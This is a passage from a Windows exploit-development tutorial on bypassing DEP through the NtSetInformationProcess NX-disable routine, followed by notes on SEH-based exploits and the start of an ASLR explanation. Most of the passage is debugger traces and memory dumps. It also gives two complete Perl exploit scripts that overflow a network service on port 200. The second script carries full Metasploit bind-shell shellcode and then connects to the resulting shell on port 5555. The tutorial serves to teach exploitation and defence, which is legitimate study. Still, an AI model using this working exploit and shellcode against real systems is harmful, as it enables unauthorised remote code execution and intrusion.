esi=0012e264 edi=00403388\neip=7c83f550 esp=0012e270 ebp=0012e268 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202\nntdll!LdrpCheckNXCompatibility+0x4d:\n7c83f550 8d45fc          lea     eax,[ebp-4]\n0:000&gt; t\neax=0012e264 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e264 edi=00403388\neip=7c83f553 esp=0012e270 ebp=0012e268 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202\nntdll!LdrpCheckNXCompatibility+0x50:\n7c83f553 50              <span style=\"color: #0000ff\">push<\/span>    eax\n0:000&gt; t\neax=0012e264 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e264 edi=00403388\neip=7c83f554 esp=0012e26c ebp=0012e268 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202\nntdll!LdrpCheckNXCompatibility+0x51:\n7c83f554 6a22            <span style=\"color: #0000ff\">push<\/span>    22h\n0:000&gt; t\neax=0012e264 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e264 edi=00403388\neip=7c83f556 esp=0012e268 ebp=0012e268 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202\nntdll!LdrpCheckNXCompatibility+0x53:\n7c83f556 6aff            <span style=\"color: #0000ff\">push<\/span>    0FFFFFFFFh\n0:000&gt; t\neax=0012e264 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e264 edi=00403388\neip=7c83f558 esp=0012e264 ebp=0012e268 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202\nntdll!LdrpCheckNXCompatibility+0x55:\n7c83f558 e80085feff      call    ntdll!ZwSetInformationProcess (7c827a5d)\n0:000&gt; t\neax=0012e264 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e264 edi=00403388\neip=7c827a5d esp=0012e260 ebp=0012e268 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202\nntdll!ZwSetInformationProcess:\n7c827a5d b8ed000000      mov     eax,0EDh\n0:000&gt; t\neax=000000ed ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e264 edi=00403388\neip=7c827a62 esp=0012e260 ebp=0012e268 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202\nntdll!NtSetInformationProcess+0x5:\n7c827a62 ba0003fe7f      mov     edx,<span style=\"color: #0000ff\">offset<\/span> SharedUserData!SystemCallStub (7ffe0300)\n0:000&gt; t\neax=000000ed ebx=00000000 ecx=0012e559 edx=7ffe0300 esi=0012e264 edi=00403388\neip=7c827a67 esp=0012e260 ebp=0012e268 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202\nntdll!NtSetInformationProcess+0xa:\n7c827a67 ff12            call    dword ptr [edx]      ds:0023:7ffe0300={ntdll!KiFastSystemCall (7c828608)}\n0:000&gt; t\neax=000000ed ebx=00000000 ecx=0012e559 edx=7ffe0300 esi=0012e264 edi=00403388\neip=7c828608 esp=0012e25c ebp=0012e268 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202\nntdll!KiFastSystemCall:\n7c828608 8bd4            mov     edx,esp\n0:000&gt; t\neax=000000ed ebx=00000000 ecx=0012e559 edx=0012e25c esi=0012e264 edi=00403388\neip=7c82860a esp=0012e25c ebp=0012e268 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202\nntdll!KiFastSystemCall+0x2:\n7c82860a 0f34            sysenter\n0:000&gt; t\neax=c000000d ebx=00000000 ecx=00000001 edx=ffffffff esi=0012e264 edi=00403388\neip=7c827a69 esp=0012e260 ebp=0012e268 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202\nntdll!NtSetInformationProcess+0xc:\n7c827a69 c21000          ret     10h\n0:000&gt; t\neax=c000000d ebx=00000000 ecx=00000001 edx=ffffffff esi=0012e264 edi=00403388\neip=7c83f55d esp=0012e274 ebp=0012e268 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202\nntdll!LdrpCheckNXCompatibility+0x5a:\n7c83f55d e99d4effff      jmp     ntdll!LdrpCheckNXCompatibility+0x5a (7c8343ff)\n0:000&gt; t\neax=c000000d ebx=00000000 ecx=00000001 edx=ffffffff esi=0012e264 edi=00403388\neip=7c8343ff esp=0012e274 ebp=0012e268 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202\nntdll!LdrpCheckNXCompatibility+0x5a:\n7c8343ff 804e3780        or      byte ptr [esi+37h],80h     ds:0023:0012e29b=cc\n0:000&gt; t\neax=c000000d ebx=00000000 ecx=00000001 edx=ffffffff esi=0012e264 edi=00403388\neip=7c834403 esp=0012e274 ebp=0012e268 iopl=0         nv up ei ng nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286\nntdll!LdrpCheckNXCompatibility+0x5e:\n7c834403 5e              <span style=\"color: #0000ff\">pop<\/span>     esi\n0:000&gt; t\neax=c000000d ebx=00000000 ecx=00000001 edx=ffffffff esi=46464646 edi=00403388\neip=7c834404 esp=0012e278 ebp=0012e268 iopl=0         nv up ei ng nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286\nntdll!LdrpCheckNXCompatibility+0x5f:\n7c834404 c9              leave\n0:000&gt; t\neax=c000000d ebx=00000000 ecx=00000001 edx=ffffffff esi=46464646 edi=00403388\neip=7c834405 esp=0012e26c ebp=00000022 iopl=0         nv up ei ng nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286\nntdll!LdrpCheckNXCompatibility+0x60:\n7c834405 c20400          ret     4\n0:000&gt; t\neax=c000000d ebx=00000000 ecx=00000001 edx=ffffffff esi=46464646 edi=00403388\neip=0012e264 esp=0012e274 ebp=00000022 iopl=0         nv up ei ng nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286\n0012e264 ff              ???<\/pre>\n<p>Ok, what we see is this : when the function returns, the original value of esi (0x0012e264) is put in EIP.<\/p>\n<p>If we look at EIP, we see ff ff ff ff (which is edx)<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; d eip\n0012e264  ff ff ff ff 22 00 00 00-64 e2 12 00 04 00 00 00  ....&quot;<span style=\"color: #8b0000\">...d.......\n<\/span>0012e274  46 46 46 46 ff bd 3e 77-90 90 90 90 90 90 90 90  FFFF..&gt;w........\n0012e284  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................\n0012e294  90 90 90 90 90 90 cc cc-cc cc cc cc cc cc cc cc  ................\n0012e2a4  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................\n0012e2b4  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................\n0012e2c4  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................\n0012e2d4  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................<\/pre>\n<p>Our shellcode is not that far away\u2026 ok, let\u2019s play with ESI and EBP. First, let\u2019s swap the addresses to adjust EBX and ESI. So first adjust EBP, and then ESI.<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\"><span style=\"color: #0000ff\">use<\/span> strict;\n<span style=\"color: #0000ff\">use<\/span> Socket;\n<span style=\"color: #0000ff\">my<\/span> $junk = &quot;<span style=\"color: #8b0000\">A<\/span>&quot; x 508;\n<span style=\"color: #0000ff\">my<\/span> $disabledep = <span style=\"color: #0000ff\">pack<\/span>('V',0x77c177f8);  #adjust ebp\n$disabledep = $disabledep.<span style=\"color: #0000ff\">pack<\/span>('V',0x71c0db30);   #adjust esi\n$disabledep = $disabledep.<span style=\"color: #0000ff\">pack<\/span>('V',0x7c86311d);  #set eax to 1\n$disabledep=  $disabledep.&quot;<span style=\"color: #8b0000\">GGGG<\/span>&quot;;\n$disabledep = $disabledep.<span style=\"color: #0000ff\">pack<\/span>('V',0x7c8343f5);  #run NX Disable routine\n$disabledep = $disabledep.&quot;<span style=\"color: #8b0000\">HHHH<\/span>&quot;; #padding\n$disabledep = $disabledep.<span style=\"color: #0000ff\">pack<\/span>('V',0x773ebdff);  #jmp esp (user32.dll)\n\n<span style=\"color: #0000ff\">my<\/span> $nops = &quot;<span style=\"color: #8b0000\">\\x90<\/span>&quot; x 30;\n<span style=\"color: #0000ff\">my<\/span> $shellcode=&quot;<span style=\"color: #8b0000\">\\xcc<\/span>&quot; x 700;\n\n# initialize host and port\n<span style=\"color: #0000ff\">my<\/span> $host = <span style=\"color: #0000ff\">shift<\/span> || 'localhost';\n<span style=\"color: #0000ff\">my<\/span> $port = <span style=\"color: #0000ff\">shift<\/span> || 200;\n<span style=\"color: #0000ff\">my<\/span> $proto = <span style=\"color: #0000ff\">getprotobyname<\/span>('tcp');\n# get the port address\n<span style=\"color: #0000ff\">my<\/span> $iaddr = inet_aton($host);\n<span style=\"color: #0000ff\">my<\/span> $paddr = sockaddr_in($port, $iaddr);\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Setting up socket\\n<\/span>&quot;;\n# create the <span style=\"color: #0000ff\">socket<\/span>, <span style=\"color: #0000ff\">connect<\/span> to the port\n<span style=\"color: #0000ff\">socket<\/span>(SOCKET, PF_INET, SOCK_STREAM, $proto) or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">socket: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Connecting to $host on port $port\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">connect<\/span>(SOCKET, $paddr) or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">connect: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Sending payload\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $payload = $junk.$disabledep.$nops.$shellcode.&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> SOCKET $payload.&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Payload sent, <\/span>&quot;.<span style=\"color: #0000ff\">length<\/span>($payload).&quot;<span style=\"color: #8b0000\"> bytes\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">close<\/span> SOCKET or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">close: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">system<\/span>('telnet '.$host.' 5555');<\/pre>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">(a50.a70): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=0012e761 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e26c edi=00403388\neip=47474747 esp=0012e270 ebp=0012e264 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246\n47474747 ??              ???<\/pre>\n<p>Aha - this looks a lot better. EIP now contains 47474747 (= GGGG) We don\u2019t even need the jmp esp (which was still in the code from the XP version of the exploit), or the nops, or the 4 bytes HHHH (padding)<\/p>\n<p>ESP contains<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; d esp\n0012e270  f5 43 83 7c 48 48 48 48-ff bd 3e 77 90 90 90 90  .C.|HHHH..&gt;w....\n0012e280  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................\n0012e290  90 90 90 90 90 90 90 90-90 90 cc cc cc cc cc cc  ................\n0012e2a0  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................\n0012e2b0  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................\n0012e2c0  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................\n0012e2d0  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................\n0012e2e0  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................<\/pre>\n<p>There are various ways to get to our shellcode now. Look at the other registers. You\u2019ll see for example that edx points to 0x0012e700, which sits almost at the end of the shellcode. So if we could jump edx, and put some jump back code at that location, it should work :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image54.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb54.png\" width=\"492\" height=\"456\" \/><\/a><\/p>\n<p>jmp edx (user32.dll) : 0x773eb603. After doing some calculations, we can build a buffer like this :<\/p>\n<p>[jmp edx][10 nops][shellcode][more nops until edx][jump back].<\/p>\n<p>If we want to have some room for shellcode, we can put 500 nops after the shellcode. edx will then point to 0x0012e900, which sits at somewhere around the last 50 nops of these 500 nops. So if we put jumpcode after about 480 nops, and make the jumpcode go back to the nops before the shellcode, we should have a winner :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\"><span style=\"color: #0000ff\">use<\/span> strict;\n<span style=\"color: #0000ff\">use<\/span> Socket;\n<span style=\"color: #0000ff\">my<\/span> $junk = &quot;<span style=\"color: #8b0000\">A<\/span>&quot; x 508;\n<span style=\"color: #0000ff\">my<\/span> $disabledep = <span style=\"color: #0000ff\">pack<\/span>('V',0x77c177f8);  #adjust ebp\n$disabledep = $disabledep.<span style=\"color: #0000ff\">pack<\/span>('V',0x71c0db30);   #adjust esi\n$disabledep = $disabledep.<span style=\"color: #0000ff\">pack<\/span>('V',0x7c86311d);  #set eax to 1\n$disabledep=  $disabledep.<span style=\"color: #0000ff\">pack<\/span>('V',0x773eb603);  #jmp edx user32.dll\n$disabledep = $disabledep.<span style=\"color: #0000ff\">pack<\/span>('V',0x7c8343f5);  #run NX Disable routine\n\n<span style=\"color: #0000ff\">my<\/span> $nops1 = &quot;<span style=\"color: #8b0000\">\\x90<\/span>&quot; x 10;\n# windows\/shell_bind_tcp - 702 bytes\n# http:<span style=\"color: #008000\">\/\/www.metasploit.com<\/span>\n# Encoder: x86\/alpha_upper\n# EXITFUNC=seh, LPORT=5555, RHOST=\n<span style=\"color: #0000ff\">my<\/span> $shellcode=&quot;<span style=\"color: #8b0000\">\\x89\\xe0\\xd9\\xd0\\xd9\\x70\\xf4\\x59\\x49\\x49\\x49\\x49\\x49\\x43<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x43\\x43\\x43\\x43\\x43\\x51\\x5a\\x56\\x54\\x58\\x33\\x30\\x56\\x58<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x34\\x41\\x50\\x30\\x41\\x33\\x48\\x48\\x30\\x41\\x30\\x30\\x41\\x42<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x41\\x41\\x42\\x54\\x41\\x41\\x51\\x32\\x41\\x42\\x32\\x42\\x42\\x30<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x42\\x42\\x58\\x50\\x38\\x41\\x43\\x4a\\x4a\\x49\\x4b\\x4c\\x42\\x4a<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4a\\x4b\\x50\\x4d\\x4d\\x38\\x4c\\x39\\x4b\\x4f\\x4b\\x4f\\x4b\\x4f<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x45\\x30\\x4c\\x4b\\x42\\x4c\\x51\\x34\\x51\\x34\\x4c\\x4b\\x47\\x35<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x47\\x4c\\x4c\\x4b\\x43\\x4c\\x43\\x35\\x44\\x38\\x45\\x51\\x4a\\x4f<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x4b\\x50\\x4f\\x44\\x58\\x4c\\x4b\\x51\\x4f\\x47\\x50\\x43\\x31<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4a\\x4b\\x47\\x39\\x4c\\x4b\\x46\\x54\\x4c\\x4b\\x43\\x31\\x4a\\x4e<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x50\\x31\\x49\\x50\\x4a\\x39\\x4e\\x4c\\x4c\\x44\\x49\\x50\\x42\\x54<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x45\\x57\\x49\\x51\\x48\\x4a\\x44\\x4d\\x45\\x51\\x48\\x42\\x4a\\x4b<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x34\\x47\\x4b\\x46\\x34\\x46\\x44\\x51\\x38\\x42\\x55\\x4a\\x45<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x4b\\x51\\x4f\\x51\\x34\\x43\\x31\\x4a\\x4b\\x43\\x56\\x4c\\x4b<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x44\\x4c\\x50\\x4b\\x4c\\x4b\\x51\\x4f\\x45\\x4c\\x43\\x31\\x4a\\x4b<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x44\\x43\\x46\\x4c\\x4c\\x4b\\x4b\\x39\\x42\\x4c\\x51\\x34\\x45\\x4c<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x45\\x31\\x49\\x53\\x46\\x51\\x49\\x4b\\x43\\x54\\x4c\\x4b\\x51\\x53<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x50\\x30\\x4c\\x4b\\x47\\x30\\x44\\x4c\\x4c\\x4b\\x42\\x50\\x45\\x4c<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4e\\x4d\\x4c\\x4b\\x51\\x50\\x44\\x48\\x51\\x4e\\x43\\x58\\x4c\\x4e<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x50\\x4e\\x44\\x4e\\x4a\\x4c\\x46\\x30\\x4b\\x4f\\x4e\\x36\\x45\\x36<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x51\\x43\\x42\\x46\\x43\\x58\\x46\\x53\\x47\\x42\\x45\\x38\\x43\\x47<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x44\\x33\\x46\\x52\\x51\\x4f\\x46\\x34\\x4b\\x4f\\x48\\x50\\x42\\x48<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x48\\x4b\\x4a\\x4d\\x4b\\x4c\\x47\\x4b\\x46\\x30\\x4b\\x4f\\x48\\x56<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x51\\x4f\\x4c\\x49\\x4d\\x35\\x43\\x56\\x4b\\x31\\x4a\\x4d\\x45\\x58<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x44\\x42\\x46\\x35\\x43\\x5a\\x43\\x32\\x4b\\x4f\\x4e\\x30\\x45\\x38<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x48\\x59\\x45\\x59\\x4a\\x55\\x4e\\x4d\\x51\\x47\\x4b\\x4f\\x48\\x56<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x51\\x43\\x50\\x53\\x50\\x53\\x46\\x33\\x46\\x33\\x51\\x53\\x50\\x53<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x47\\x33\\x46\\x33\\x4b\\x4f\\x4e\\x30\\x42\\x46\\x42\\x48\\x42\\x35<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4e\\x53\\x45\\x36\\x50\\x53\\x4b\\x39\\x4b\\x51\\x4c\\x55\\x43\\x58<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4e\\x44\\x45\\x4a\\x44\\x30\\x49\\x57\\x46\\x37\\x4b\\x4f\\x4e\\x36<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x42\\x4a\\x44\\x50\\x50\\x51\\x50\\x55\\x4b\\x4f\\x48\\x50\\x45\\x38<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x49\\x34\\x4e\\x4d\\x46\\x4e\\x4a\\x49\\x50\\x57\\x4b\\x4f\\x49\\x46<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x46\\x33\\x50\\x55\\x4b\\x4f\\x4e\\x30\\x42\\x48\\x4d\\x35\\x51\\x59<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x46\\x51\\x59\\x51\\x47\\x4b\\x4f\\x49\\x46\\x46\\x30\\x50\\x54<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x46\\x34\\x50\\x55\\x4b\\x4f\\x48\\x50\\x4a\\x33\\x43\\x58\\x4b\\x57<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x43\\x49\\x48\\x46\\x44\\x39\\x51\\x47\\x4b\\x4f\\x4e\\x36\\x46\\x35<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4b\\x4f\\x48\\x50\\x43\\x56\\x43\\x5a\\x45\\x34\\x42\\x46\\x45\\x38<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x43\\x53\\x42\\x4d\\x4b\\x39\\x4a\\x45\\x42\\x4a\\x50\\x50\\x50\\x59<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x47\\x59\\x48\\x4c\\x4b\\x39\\x4d\\x37\\x42\\x4a\\x47\\x34\\x4c\\x49<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4b\\x52\\x46\\x51\\x49\\x50\\x4b\\x43\\x4e\\x4a\\x4b\\x4e\\x47\\x32<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x46\\x4d\\x4b\\x4e\\x50\\x42\\x46\\x4c\\x4d\\x43\\x4c\\x4d\\x42\\x5a<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x46\\x58\\x4e\\x4b\\x4e\\x4b\\x4e\\x4b\\x43\\x58\\x43\\x42\\x4b\\x4e<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x48\\x33\\x42\\x36\\x4b\\x4f\\x43\\x45\\x51\\x54\\x4b\\x4f\\x48\\x56<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x51\\x4b\\x46\\x37\\x50\\x52\\x50\\x51\\x50\\x51\\x50\\x51\\x43\\x5a<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x45\\x51\\x46\\x31\\x50\\x51\\x51\\x45\\x50\\x51\\x4b\\x4f\\x4e\\x30<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x43\\x58\\x4e\\x4d\\x49\\x49\\x44\\x45\\x48\\x4e\\x46\\x33\\x4b\\x4f<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x48\\x56\\x43\\x5a\\x4b\\x4f\\x4b\\x4f\\x50\\x37\\x4b\\x4f\\x4e\\x30<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x4b\\x51\\x47\\x4b\\x4c\\x4b\\x33\\x49\\x54\\x42\\x44\\x4b\\x4f<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x48\\x56\\x51\\x42\\x4b\\x4f\\x48\\x50\\x43\\x58\\x4a\\x50\\x4c\\x4a<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x43\\x34\\x51\\x4f\\x50\\x53\\x4b\\x4f\\x4e\\x36\\x4b\\x4f\\x48\\x50<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x41\\x41<\/span>&quot;;\n\n<span style=\"color: #0000ff\">my<\/span> $nops2 = &quot;<span style=\"color: #8b0000\">\\x90<\/span>&quot; x 480;\n<span style=\"color: #0000ff\">my<\/span> $jumpback = &quot;<span style=\"color: #8b0000\">\\xe9\\x54\\xf9\\xff\\xff<\/span>&quot;;  #jump back 1708 bytes\n\n# initialize host and port\n<span style=\"color: #0000ff\">my<\/span> $host = <span style=\"color: #0000ff\">shift<\/span> || 'localhost';\n<span style=\"color: #0000ff\">my<\/span> $port = <span style=\"color: #0000ff\">shift<\/span> || 200;\n<span style=\"color: #0000ff\">my<\/span> $proto = <span style=\"color: #0000ff\">getprotobyname<\/span>('tcp');\n# get the port address\n<span style=\"color: #0000ff\">my<\/span> $iaddr = inet_aton($host);\n<span style=\"color: #0000ff\">my<\/span> $paddr = sockaddr_in($port, $iaddr);\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Setting up socket\\n<\/span>&quot;;\n# create the <span style=\"color: #0000ff\">socket<\/span>, <span style=\"color: #0000ff\">connect<\/span> to the port\n<span style=\"color: #0000ff\">socket<\/span>(SOCKET, PF_INET, SOCK_STREAM, $proto) or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">socket: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Connecting to $host on port $port\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">connect<\/span>(SOCKET, $paddr) or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">connect: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Sending payload\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $payload = $junk.$disabledep.$nops1.$shellcode.$nops2.$jumpback.&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> SOCKET $payload.&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Payload sent, <\/span>&quot;.<span style=\"color: #0000ff\">length<\/span>($payload).&quot;<span style=\"color: #8b0000\"> bytes\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">close<\/span> SOCKET or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">close: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">system<\/span>('telnet '.$host.' 5555');<\/pre>\n<h3>DEP bypass with SEH based exploits<\/h3>\n<p>In the 2 examples above, both exploits (and the DEP bypass technique) were based on direct RET overwrite. But what if the exploit is SEH based ?<\/p>\n<p>In normal SEH based exploits, a pointer to pop pop ret instructions are used to redirect the execution to the nSEH field, where jumpcode is placed (and subsequently executed). When DEP is enabled, you obviously still need to overwrite the SE structure, but instead of overwriting the SE Handler with a pointer to pop pop ret, you need to overwrite it with a pointer to pop reg\/pop reg\/pop esp\/ret. The pop esp will shift the stack and the ret will in fact jump to the address in nSEH. (so instead of executing jumpcode in a classic SEH based exploit, you fill the nSEH field with the first address of the NX bypass routine, and you overwrite SE Handler with a pointer to pop\/pop\/pop esp\/ret. Combinations like this are hard to find. pvefindaddr has a routine that will help you finding addresses like this.<\/p>\n<h3>ASLR protection<\/h3>\n<p>Windows Vista, 2008 server, and Windows 7 offer yet another built-int security technique (not new, but new for the Windows OS), which randomizes the base addresses of executables, dll\u2019s, stack and heap in a process\u2019s address space (in fact, it will load the system images into 1 out of 256 random slots, it will randomize the stack for each thread, and it will randomize the heap as well). This technique is called <a href=\"http:\/\/en.wikipedia.org\/wiki\/Address_Space_Layout_Randomization\" target=\"_blank\" rel=\"noopener\">ASLR<\/a> (Address Space Layout Randomization).<\/p>\n<p>The addresses change on each boot. ASLR and is enabled by default for system images (excluding IE7), and for non-system images if they were linked with the \/DYNAMICBASE link option (available in Visual Studio 2005 SP1 and up, and availabe in VS2008). You can manually change the dynamicbase bit in a compiled library to make it ASLR aware (set 0\u00d740 DllCharacteristics in the PE Header - you can use a tool such as <a href=\"http:\/\/visualstudiogallery.msdn.microsoft.com\/en-us\/65DB8943-C79A-44F5-B9F1-97BC4FC86D71\" target=\"_blank\" rel=\"noopener\">PE Explorer<\/a> to open the library &amp; see if this 